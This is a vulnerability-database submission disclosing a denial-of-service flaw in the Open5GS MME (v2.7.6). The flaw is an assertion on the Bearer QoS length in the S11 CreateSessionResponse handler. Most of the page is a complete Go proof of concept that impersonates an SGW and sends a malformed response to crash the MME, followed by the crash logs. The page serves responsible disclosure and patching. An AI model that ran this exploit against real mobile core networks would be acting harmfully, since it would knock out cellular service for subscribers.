Submit #738369: Open5GS MME v2.7.6 Denial of Serviceinfo

TitleOpen5GS MME v2.7.6 Denial of Service
Description### Description In mme_s11_handle_create_session_response() the code still asserts: `ogs_assert(decoded == rsp->bearer_contexts_created[0].bearer_level_qos.len);` Even if ogs_gtp2_parse_bearer_qos() is patched to return 0 (inhttps://github.com/open5gs/open5gs/commit/4e913d21f2c032b187815f063dbab5ebe65fe83a) when IE length != 22, the handler still asserts on decoded == len. An attacker can send a CreateSessionResponse with a malformed bearer_level_qos.len (e.g., not 22). The parser returns 0, the assertion fails, and MME aborts. But, I only tested in v2.7.6 version. ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` package main import ( "flag" "fmt" "log" "net" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) var ( mmeIP = flag.String("mme", "", "MME IP address (S11 interface)") mmePort = flag.Int("mme-port", 2123, "MME S11 GTP-C port") sgwIP = flag.String("sgw", "10.44.44.4", "SGW IP address (local)") sgwPort = flag.Int("sgw-port", 2123, "SGW S11 GTP-C port (local)") pgwIP = flag.String("pgw", "10.44.44.4", "PGW IP address (S5C/S5U F-TEID)") bearerQoSLen = flag.Int("bearer-qos-len", 1, "Malformed Bearer QoS length (normal is 22)") sgwTEID = flag.Uint("sgw-teid", 0x22222222, "SGW S11 TEID for response") pgwTEID = flag.Uint("pgw-teid", 0xABCDEF00, "PGW S5C TEID for response") sgwS1uTEID = flag.Uint("sgw-s1u-teid", 0x33333333, "SGW S1-U TEID for bearer context") pgwS5uTEID = flag.Uint("pgw-s5u-teid", 0x44444444, "PGW S5-U TEID for bearer context") bearerID = flag.Uint("ebi", 5, "EPS Bearer ID") responseTimeout = flag.Duration("timeout", 120*time.Second, "Timeout waiting for CreateSessionRequest") ) func main() { flag.Parse() if *mmeIP == "" { log.Fatal("Error: -mme parameter is required (MME S11 IP address)") } log.Printf("[*] Vuln-PA1-03 PoC: Bearer QoS Length Assertion (MME S11)") log.Printf("[*] Target: MME at %s:%d", *mmeIP, *mmePort) log.Printf("[*] Mock SGW: %s:%d", *sgwIP, *sgwPort) log.Printf("[*] Malformed Bearer QoS length: %d (normal: 22)", *bearerQoSLen) log.Println("[*] Trigger an attach/TAU so MME sends CreateSessionRequest to SGW") runSGWMock() } func runSGWMock() { addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *sgwIP, *sgwPort)) if err != nil { log.Fatalf("[SGW] Failed to resolve address: %v", err) } conn, err := net.ListenUDP("udp", addr) if err != nil { log.Fatalf("[SGW] Failed to listen: %v", err) } defer conn.Close() log.Printf("[SGW] Mock server listening on %s:%d", *sgwIP, *sgwPort) log.Println("[SGW] Waiting for CreateSessionRequest from MME...") buf := make([]byte, 4096) for { conn.SetReadDeadline(time.Now().Add(*responseTimeout)) n, remoteAddr, err := conn.ReadFromUDP(buf) if err != nil { if netErr, ok := err.(net.Error); ok && netErr.Timeout() { log.Println("[SGW] Timeout waiting for messages") continue } log.Printf("[SGW] Read error: %v", err) continue } if n < 12 { continue } msgType := buf[1] if msgType != 32 { // CreateSessionRequest continue } log.Printf("[SGW] Received CreateSessionRequest from MME (%d bytes)", n) msg, err := message.Parse(buf[:n]) if err != nil { log.Printf("[SGW] Failed to parse message: %v", err) continue } csReq, ok := msg.(*message.CreateSessionRequest) if !ok { log.Println("[SGW] Message is not CreateSessionRequest") continue } seqNum := csReq.Sequence() mmeS11TEID := extractMMETEID(csReq) if mmeS11TEID == 0 { log.Println("[SGW] Warning: Could not extract MME S11 TEID, using 0") } log.Println("[*] Crafting malicious CreateSessionResponse...") log.Printf(" TEID: 0x%08x", mmeS11TEID) log.Printf(" Sequence: 0x%06x", seqNum) csResp := buildMaliciousCreateSessionResponse(mmeS11TEID, seqNum) respBuf, err := csResp.Marshal() if err != nil { log.Printf("[SGW] Failed to marshal response: %v", err) continue } log.Println("[*] Vulnerability Trigger:") log.Println(" 1. MME receives CreateSessionResponse on S11 interface") log.Println(" 2. mme_s11_handle_create_session_response() parses Bearer QoS") log.Printf(" 3. Executes: ogs_gtp2_parse_bearer_qos(len=%d)", *bearerQoSLen) log.Println(" 4. Assertion fails on length mismatch") log.Printf("[*] Sending malicious CreateSessionResponse (%d bytes)...", len(respBuf)) _, err = conn.WriteToUDP(respBuf, remoteAddr) if err != nil { log.Printf("[SGW] Failed to send response: %v", err) } else { log.Printf("[+] Malicious CreateSessionResponse sent successfully") log.Println("[*] Expected behavior:") log.Println(" - MME crash due to Bearer QoS length assertion") log.Println(" - Location: src/mme/mme-s11-handler.c:449-453") } log.Println("\n[*] PoC execution completed") log.Println("[*] Verify MME logs for assertion failure") return } } func extractMMETEID(csReq *message.CreateSessionRequest) uint32 { if csReq == nil { return 0 } if fteid := csReq.SenderFTEIDC; fteid != nil { teid, err := fteid.TEID() if err == nil { return teid } } return 0 } func buildMalformedBearerQoS(length int) *ie.IE { if length < 0 { length = 0 } data := make([]byte, length) if length > 0 { data[0] = 0x09 // QCI-like value, not used when length is invalid } return ie.New(ie.BearerQoS, 0x00, data) } func buildMaliciousCreateSessionResponse(teid, seqNum uint32) *message.CreateSessionResponse { bearerQoS := buildMalformedBearerQoS(*bearerQoSLen) bearerCtx := ie.NewBearerContext( ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ie.NewEPSBearerID(uint8(*bearerID)), bearerQoS, ie.NewFullyQualifiedTEID(gtpv2.IFTypeS1USGWGTPU, uint32(*sgwS1uTEID), *sgwIP, ""), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, uint32(*pgwS5uTEID), *pgwIP, "").WithInstance(2), ) return message.NewCreateSessionResponse( teid, seqNum, ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11S4SGWGTPC, uint32(*sgwTEID), *sgwIP, ""), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, uint32(*pgwTEID), *pgwIP, "").WithInstance(1), ie.NewPDNAddressAllocation("10.45.0.2"), bearerCtx, ) } ``` 3. Download required libraries: `go mod tidy` 4. Run the program with the SGW-C address: `go run main.go -mme 10.44.44.5 -sgw 10.44.44.4` ### Logs ```shell 01/13 11:31:05.564: [gtp] FATAL: ogs_gtp2_parse_bearer_qos: Assertion `octet->len == GTP2_BEARER_QOS_LEN' failed. (../lib/gtp/v2/types.c:34) 01/13 11:31:05.564: [core] FATAL: backtrace() returned 9 addresses (../lib/core/ogs-abort.c:37) /usr/local/lib/libogsgtp.so.2(ogs_gtp2_parse_bearer_qos+0x162) [0x7df065096f0a] open5gs-mmed(+0xabf7b) [0x5ce006542f7b] open5gs-mmed(+0x8f37a) [0x5ce00652637a] /usr/local/lib/libogscore.so.2(ogs_fsm_dispatch+0x119) [0x7df0655a243f] open5gs-mmed(+0x9f43) [0x5ce0064a0f43] /usr/local/lib/libogscore.so.2(+0x119a3) [0x7df0655929a3] /lib/x86_64-linux-gnu/libc.so.6(+0x94ac3) [0x7df064ea7ac3] /lib/x86_64-linux-gnu/libc.so.6(clone+0x44) [0x7df064f38a74] /usr/local/bin/entrypoint.sh: line 8: 8 Aborted open5gs-mmed "${@}" ``` ### Expected behaviour Malformed Bearer QoS IE should be rejected gracefully (e.g., return an error cause such as MANDATORY_IE_INCORRECT) without crashing the MME process. ### Observed Behaviour MME aborts with assertion failure. ### eNodeB/gNodeB srsRAN_4G ### UE Models and versions srsRAN_4G
Source⚠️ https://github.com/open5gs/open5gs/issues/4284
User
 FrankyLin (UID 94345)
Submission01/14/2026 04:04 (3 months ago)
Moderation02/15/2026 09:41 (1 month later)
StatusAccepted
VulDB entry346112 [Open5GS 2.7.6 MME mme_s11_handle_create_session_response denial of service]
Points20

Want to know what is going to be exploited?

We predict KEV entries!